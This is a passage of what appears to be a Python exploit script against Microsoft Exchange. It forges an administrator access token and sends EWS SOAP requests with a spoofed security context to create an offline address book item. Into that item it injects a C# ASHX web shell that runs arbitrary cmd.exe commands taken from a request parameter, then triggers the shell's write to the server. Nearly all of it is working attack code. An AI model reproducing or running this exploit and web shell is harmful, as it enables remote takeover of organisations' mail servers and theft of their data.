print '[+] Found guid: ', oab_guid
# print '[+] Create new OAB success, got OAB_GUID'
return oab_guid
else:
print_error_and_exit("get_command_output failed", r)
class CommonAccessToken:
def __init__(self, domain_name, domainid):
self.domainid = domainid
self.Version = 1
self.TokenType = "Windows"
self.IsCompress = 0
self.AuthenticationType = "Kerberos"
self.LogonName = domain_name + "\\administrator"
self.UserSid = "S-1-5-21-" + domainid + "-500"
self.Groups = ["S-1-5-21-" + domainid + "-513",
"S-1-1-0",
"S-1-5-2",
"S-1-5-11",
"S-1-5-15",
"S-1-5-21-" + domainid + "-520",
"S-1-5-21-" + domainid + "-512",
"S-1-5-21-" + domainid + "-518",
"S-1-5-21-" + domainid + "-519",
"S-1-18-1"
]
def serialize(self):
groupdata = "G"
groupdata = groupdata + struct.pack('I', len(self.Groups))
attribute = 7
for g in self.Groups:
groupdata = groupdata + struct.pack('I', attribute) + struct.pack('B', len(g)) + g
groupdata = groupdata + "E" + struct.pack('I', 0) # no extension data
output = ''.join(["V" + struct.pack('H', self.Version),
"T" + struct.pack('B', len(self.TokenType)) + self.TokenType,
"C" + struct.pack('B', self.IsCompress),
"A" + struct.pack('B', len(self.AuthenticationType)) + self.AuthenticationType,
"L" + struct.pack('B', len(self.LogonName)) + self.LogonName,
"U" + struct.pack('B', len(self.UserSid)) + self.UserSid,
groupdata])
return base64.b64encode(output)
def create_new_addressbook(domainid):
cat = CommonAccessToken("DOMAINABCD", domainid)
commonAccessToken = urllib.quote_plus(cat.serialize())
SessionId = uuid.uuid4()
RPID = uuid.uuid4()
ShellId = create_powershell_shell(SessionId, RPID, commonAccessToken)
max_loop = 0
while max_loop < 12: # prevent loop forever
ret = receive_data(SessionId, commonAccessToken, ShellId)
max_loop = max_loop + 1
if ret: break
if max_loop > 10:
print_error_and_exit("create_new_addressbook failed with receive_data run forever", r=None)
break
CommandId = run_cmdlet_new_offlineaddressbook(SessionId, RPID, commonAccessToken, ShellId)
oab_guid = get_command_output(SessionId, commonAccessToken, ShellId, CommandId)
return oab_guid
def create_oabfolder(sid):
headers = { 'Content-Type': 'text/xml;charset=UTF-8',
'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/CreateFolder"'
}
request_data = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:typ="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:mes="http://schemas.microsoft.com/exchange/services/2006/messages">
<soapenv:Header>
<typ:RequestServerVersion Version="Exchange2013_SP1"/>
<mes:SerializedSecurityContext>
<mes:UserSid>%s</mes:UserSid>
<mes:GroupSids>
<mes:GroupIdentifier>
<typ:SecurityIdentifier>%s</typ:SecurityIdentifier>
</mes:GroupIdentifier>
</mes:GroupSids>
<RestrictedGroupSids>
<RestrictedGroupIdentifier> </RestrictedGroupIdentifier>
</RestrictedGroupSids>
</mes:SerializedSecurityContext>
</soapenv:Header>
<soapenv:Body>
<mes:CreateFolder>
<mes:ParentFolderId>
<typ:DistinguishedFolderId Id="root">
</typ:DistinguishedFolderId>
</mes:ParentFolderId>
<mes:Folders>
<typ:Folder>
<typ:DisplayName>OAB</typ:DisplayName>
</typ:Folder>
</mes:Folders>
</mes:CreateFolder>
</soapenv:Body>
</soapenv:Envelope>
""" % (sid, sid)
r = post_request("/ews/exchange.asmx", headers, request_data)
if r.status_code == 200:
ret = re.search("<t:FolderId(.*)/>", r.text.encode('utf-8'))
if ret is None:
print_error_and_exit("create_oabfolder failed with no FolderId return", r)
print '[+] Create OAB folder success'
folderId = ret.group(1)
return folderId
else:
print_error_and_exit("create_oabfolder failed", r)
def find_oab_folder(sid):
headers = { 'Content-Type': 'text/xml;charset=UTF-8',
'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/FindFolder"'
}
request_data = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:typ="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:mes="http://schemas.microsoft.com/exchange/services/2006/messages">
<soapenv:Header>
<typ:RequestServerVersion Version="Exchange2013_SP1"/>
<mes:SerializedSecurityContext>
<mes:UserSid>%s</mes:UserSid>
<mes:GroupSids>
<mes:GroupIdentifier>
<typ:SecurityIdentifier>%s</typ:SecurityIdentifier>
</mes:GroupIdentifier>
</mes:GroupSids>
<RestrictedGroupSids>
<RestrictedGroupIdentifier> </RestrictedGroupIdentifier>
</RestrictedGroupSids>
</mes:SerializedSecurityContext>
</soapenv:Header>
<soapenv:Body>
<mes:FindFolder Traversal="Deep">
<mes:FolderShape>
<typ:BaseShape>Default</typ:BaseShape>
</mes:FolderShape>
<mes:ParentFolderIds>
<typ:DistinguishedFolderId Id="root">
</typ:DistinguishedFolderId>
</mes:ParentFolderIds>
<mes:Restriction>
<typ:IsEqualTo>
<typ:FieldURI FieldURI="folder:DisplayName" />
<typ:FieldURIOrConstant>
<typ:Constant Value="OAB" />
</typ:FieldURIOrConstant>
</typ:IsEqualTo>
</mes:Restriction>
</mes:FindFolder>
</soapenv:Body>
</soapenv:Envelope>
""" % (sid, sid)
r = post_request("/ews/exchange.asmx", headers, request_data)
if r.status_code == 200:
ret = re.search("<t:FolderId(.*)/>", r.text.encode('utf-8'))
if ret is not None:
print "[+] Found existence OAB folder"
folderId = ret.group(1)
else:
print "[+] OAB folder does not exists, try to create new one"
folderId = create_oabfolder(sid)
# print '[+] Got folderId of oab folder: ', folderId
print '[+] Got folderId of OAB folder'
return folderId
else:
print_error_and_exit("find_oab_folder failed", r)
CREATE_ITEM = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:typ="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:mes="http://schemas.microsoft.com/exchange/services/2006/messages">
<soapenv:Header>
<typ:RequestServerVersion Version="Exchange2013_SP1"/>
<mes:SerializedSecurityContext>
<mes:UserSid>%s</mes:UserSid>
<mes:GroupSids>
<mes:GroupIdentifier>
<typ:SecurityIdentifier>%s</typ:SecurityIdentifier>
</mes:GroupIdentifier>
</mes:GroupSids>
<RestrictedGroupSids>
<RestrictedGroupIdentifier> </RestrictedGroupIdentifier>
</RestrictedGroupSids>
</mes:SerializedSecurityContext>
</soapenv:Header>
<soapenv:Body>
<mes:CreateItem MessageDisposition="SaveOnly" xmlns="http://schemas.microsoft.com/exchange/services/2006/messages">
<mes:SavedItemFolderId>
<typ:FolderId %s />
</mes:SavedItemFolderId>
<mes:Items>
<typ:Message>
<typ:ItemClass>IPM.FileSet</typ:ItemClass>
<typ:Subject>%s</typ:Subject>
</typ:Message>
</mes:Items>
</mes:CreateItem>
</soapenv:Body>
</soapenv:Envelope>"""
def create_item(sid, folderId, oab_guid):
headers = { 'Content-Type': 'text/xml;charset=UTF-8',
'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/CreateItem"'
}
request_data = CREATE_ITEM % (sid, sid, folderId, oab_guid)
r = post_request("/ews/exchange.asmx", headers, request_data)
if r.status_code == 200:
print '[+] Create item in OAB folder success '
doc = xml.dom.minidom.parseString(r.text.encode('utf-8'))
elements = doc.getElementsByTagName("t:Message")
if len(elements) == 0:
print_error_and_exit("find_oab_folder failed with no Message return", r)
MessageData = elements[0].toxml()
ret = re.search("<t:ItemId(.*)/>", MessageData)
if ret is None:
print_error_and_exit("find_oab_folder failed with no ItemId return", r)
ItemId = ret.group(1)
# print "[+] Got ItemId: ", ItemId
print "[+] Got ItemId success"
return ItemId
else:
print_error_and_exit("find_oab_folder failed", r)
EXPORT_ITEM = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:typ="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:mes="http://schemas.microsoft.com/exchange/services/2006/messages">
<soapenv:Header>
<typ:RequestServerVersion Version="Exchange2013_SP1"/>
<mes:SerializedSecurityContext>
<mes:UserSid>%s</mes:UserSid>
<mes:GroupSids>
<mes:GroupIdentifier>
<typ:SecurityIdentifier>%s</typ:SecurityIdentifier>
</mes:GroupIdentifier>
</mes:GroupSids>
<RestrictedGroupSids>
<RestrictedGroupIdentifier> </RestrictedGroupIdentifier>
</RestrictedGroupSids>
</mes:SerializedSecurityContext>
</soapenv:Header>
<soapenv:Body>
<mes:ExportItems>
<mes:ItemIds>
<!--1 or more repetitions:-->
<typ:ItemId %s />
</mes:ItemIds>
</mes:ExportItems>
</soapenv:Body>
</soapenv:Envelope>"""
def export_item(sid, ItemId):
request_data = EXPORT_ITEM % (sid, sid, ItemId)
headers = { 'Content-Type': 'text/xml;charset=UTF-8',
'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/ExportItems"'
}
r = post_request("/ews/exchange.asmx", headers, request_data)
if r.status_code == 200:
print '[+] Export item success'
doc = xml.dom.minidom.parseString(r.text.encode('utf-8'))
elements = doc.getElementsByTagName("m:Data")
if len(elements) == 0:
print_error_and_exit("export_item failed with no Data return", r)
Data = elements[0].firstChild.nodeValue
return Data
else:
print_error_and_exit("export_item failed", r)
UPLOAD_ITEM = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:typ="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:mes="http://schemas.microsoft.com/exchange/services/2006/messages">
<soapenv:Header>
<typ:RequestServerVersion Version="Exchange2013_SP1"/>
<mes:SerializedSecurityContext>
<mes:UserSid>%s</mes:UserSid>
<mes:GroupSids>
<mes:GroupIdentifier>
<typ:SecurityIdentifier>%s</typ:SecurityIdentifier>
</mes:GroupIdentifier>
</mes:GroupSids>
<RestrictedGroupSids>
<RestrictedGroupIdentifier> </RestrictedGroupIdentifier>
</RestrictedGroupSids>
</mes:SerializedSecurityContext>
</soapenv:Header>
<soapenv:Body>
<mes:UploadItems>
<mes:Items>
<!--1 or more repetitions:-->
<typ:Item CreateAction="Update" >
<typ:ParentFolderId %s />
<!--Optional:-->
<typ:ItemId %s />
<typ:Data>%s</typ:Data>
</typ:Item>
</mes:Items>
</mes:UploadItems>
</soapenv:Body>
</soapenv:Envelope>"""
def upload_item(sid, folderId, ItemId, Data):
request_data = UPLOAD_ITEM % (sid, sid, folderId, ItemId, Data)
headers = { 'Content-Type': 'text/xml;charset=UTF-8',
'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/UploadItems"'
}
r = post_request("/ews/exchange.asmx", headers, request_data)
if r.status_code == 200:
print '[+] Re-Import item success '
doc = xml.dom.minidom.parseString(r.text.encode('utf-8'))
elements = doc.getElementsByTagName("m:ItemId")
if len(elements) == 0:
print_error_and_exit("upload_item failed with no ItemId return", r)
ItemId = elements[0].toxml()
return ItemId
else:
print_error_and_exit("upload_item failed with no ItemId return", r)
PtypInteger32 = '\x03\x00'
PtypBinary = '\x02\x01'
PtypUnicodeString = '\xB0\x84'
PtypTime = '\x40\x00'
class Attach():
StartMarker = '\x03\x00\x00\x40'
EndMarker = '\x03\x00\x0E\x40'
def __init__(self, attachNumber, filename, content):
self.attachNumber = attachNumber
self.filename = filename
self.content = content
def PidTagAttachNumber(self):
PropertyId = '\x21\x0E'
return PtypInteger32 + PropertyId + struct.pack("I", self.attachNumber)
def PidTagAttachSize(self, AttachSize):
PropertyId = '\x20\x0E'
return PtypInteger32 + PropertyId + struct.pack("I", AttachSize)
def PidTagAccessLevel(self):
PropertyId = '\xF7\x0F'
return PtypInteger32 + PropertyId + '\x00\x00\x00\x00'
def PidTagRecordKey(self):
PropertyId = '\xF9\x0F'
RecordKey = '\x4B\xE9\x4B\x63\x94\xF6\xE6\x40\xAD\x64\x74\xD9\x9D\x18\x0C\x63'
return PtypBinary + PropertyId + struct.pack("I", 16) + RecordKey
def PidTagDisplayName(self):
PropertyId = '\x01\x30'
utf16le_displayname = 'test'.encode('utf-16-le') + '\x00\x00'
return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_displayname)) + utf16le_displayname
def PidTagCreationTime(self):
PropertyId = '\x07\x30'
return PtypTime + PropertyId + '\x93\x1A\x93\x42\x56\x16\xD7\x01'
def PidTagLastModificationTime(self):
PropertyId = '\x08\x30'
return PtypTime + PropertyId + '\x93\x1A\x93\x42\x56\x16\xD7\x01'
def PidTagAttachDataBinary(self):
AttachDataBinaryPropertyId = '\x01\x37'
AttachDataBinary = PtypBinary + AttachDataBinaryPropertyId + struct.pack("I", len(self.content)) + self.content
return AttachDataBinary
def PidTagAttachExtension(self):
PropertyId = '\x03\x37'
utf16le_extension = '.aspx'.encode('utf-16-le') + '\x00\x00'
return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_extension)) + utf16le_extension
def PidTagAttachFilename(self):
PropertyId = '\x04\x37'
utf16le_shortname = '97b44c~1.asp'.encode('utf-16-le') + '\x00\x00'
return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_shortname)) + utf16le_shortname
def PidTagAttachMethod(self):
PropertyId = '\x05\x37'
return PtypInteger32 + PropertyId + '\x01\x00\x00\x00'
def PidTagAttachLongFilename(self):
PropertyId = '\x07\x37'
utf16le_filename = self.filename.encode('utf-16-le') + '\x00\x00' # always \x00\x00 in the end
return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_filename)) + utf16le_filename
def PidTagRenderingPosition(self):
PropertyId = '\x0B\x37'
return PtypInteger32 + PropertyId + '\xFF\xFF\xFF\xFF'
def PidTagLanguage(self):
PropertyId = '\x0C\x3A'
utf16le_language = 'EnUs'.encode('utf-16-le') + '\x00\x00'
return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_language)) + utf16le_language
def PidTagAttachHash(self):
h = hashlib.sha1(self.content)
AttachHashPropertyId = '\x16\x81'
AttachmentPropertySetGUID = '\x7F\x7F\x35\x96\xE1\x59\xD0\x47\x99\xA7\x46\x51\x5C\x18\x3B\x54'
AttachHash = PtypBinary + AttachHashPropertyId + AttachmentPropertySetGUID + '\x01' + 'AttachHash'.encode('utf-16-le') + '\x00\x00' + struct.pack("I", 20) + h.digest()
return AttachHash
def serialize(self):
payload = ''.join([
self.StartMarker,
self.PidTagAttachNumber(),
self.PidTagAttachSize(1364),
self.PidTagAccessLevel() ,
self.PidTagRecordKey() ,
self.PidTagDisplayName(),
self.PidTagCreationTime(),
self.PidTagLastModificationTime(),
self.PidTagAttachDataBinary(),
self.PidTagAttachExtension(),
self.PidTagAttachFilename(),
self.PidTagAttachMethod(),
self.PidTagAttachLongFilename(),
self.PidTagRenderingPosition(),
self.PidTagLanguage(),
self.PidTagAttachHash(),
self.EndMarker
])
attachSize = len(payload) - 133
payload = ''.join([
self.StartMarker,
self.PidTagAttachNumber(),
self.PidTagAttachSize(attachSize),
self.PidTagAccessLevel() ,
self.PidTagRecordKey() ,
self.PidTagDisplayName(),
self.PidTagCreationTime(),
self.PidTagLastModificationTime(),
self.PidTagAttachDataBinary(),
self.PidTagAttachExtension(),
self.PidTagAttachFilename(),
self.PidTagAttachMethod(),
self.PidTagAttachLongFilename(),
self.PidTagRenderingPosition(),
self.PidTagLanguage(),
self.PidTagAttachHash(),
self.EndMarker
])
return payload
def change_data(Data):
rawdata = base64.b64decode(Data)
oab_content = '''<?xml version="1.0" encoding="utf-8"?>
<OAB>
<OAL id="c1f01a35-6dc8-425a-acd7-53069d1c4743" dn="/" name="\Default Global Address List">
<Full seq="1" ver="32" size="958" uncompressedsize="2267" SHA="401AE082BF590F15D9F9372F2B3DE4DE43F33E38">rskvp93.ashx</Full>
</OAL>
</OAB>'''
attach1 = Attach(1, 'oab.xml', oab_content)
content = '''<% @ webhandler language="C#" class="Rskvp93Handler" %>
using System;
using System.Web;
using System.Diagnostics;
using System.IO;
public class Rskvp93Handler : IHttpHandler
{
public Rskvp93Handler()
{
try {
//File.WriteAllText("C:\\test.txt", "test");
string output = "";
string c = HttpContext.Current.Request.Params["c"];
ProcessStartInfo psi = Rskvp93Handler.createProcesssStartInfo(c);
psi = Rskvp93Handler.setInfo(psi);
output = Rskvp93Handler.startProcess(psi);
HttpContext.Current.Response.Headers["CMD-OUTPUT"] = System.Web.HttpUtility.HtmlEncode(output);
} catch (Exception e){
HttpContext.Current.Response.Headers["CMD-EXCEPTION"] = System.Web.HttpUtility.HtmlEncode(e.Message);
}
}
public static ProcessStartInfo createProcesssStartInfo(string c){
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = "cmd.exe";
processStartInfo.Arguments = "/c " + c;
return processStartInfo;
}
public static ProcessStartInfo setInfo(ProcessStartInfo psi){
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
return psi;
}
public static string startProcess(ProcessStartInfo psi){
Process pr = Process.Start(psi);
string output = pr.StandardOutput.ReadToEnd();
pr.StandardOutput.Close();
return output;
}
public bool IsReusable
{
get { return true; }
}
public void ProcessRequest(HttpContext ctx)
{
}
}'''
attach2 = Attach(2, r'rskvp93.ashx', content)
NewBlock = attach1.serialize() + attach2.serialize()
newrawdata = rawdata + struct.pack('I', 0x2) + struct.pack('I', len(NewBlock)) + NewBlock
return base64.b64encode(newrawdata)
def request_oab(oab_guid):
oab_path = '/oab/' + oab_guid + '/oab.xml'
max_loop = 0
while max_loop < 12: # prevent loop forever
print '[+] Send oab request to trigger write webshell'
r = post_request(oab_path, headers={}, data=None)
if r.status_code == 200:
# print '[+] Success write shell to server ', r.headers['X-CalculatedBETarget']
print '[+] Success write shell to server'
webshell_path = '/oab/' + oab_guid + '/rskvp93.ashx'
# print '[+] Check webshell at ', webshell_path
return webshell_path
elif max_loop > 10:
print_error_and_exit("request_oab failed with two many retry", r)
elif r.status_code == 404:
print '[+] Retry send oab request'
time.sleep(3)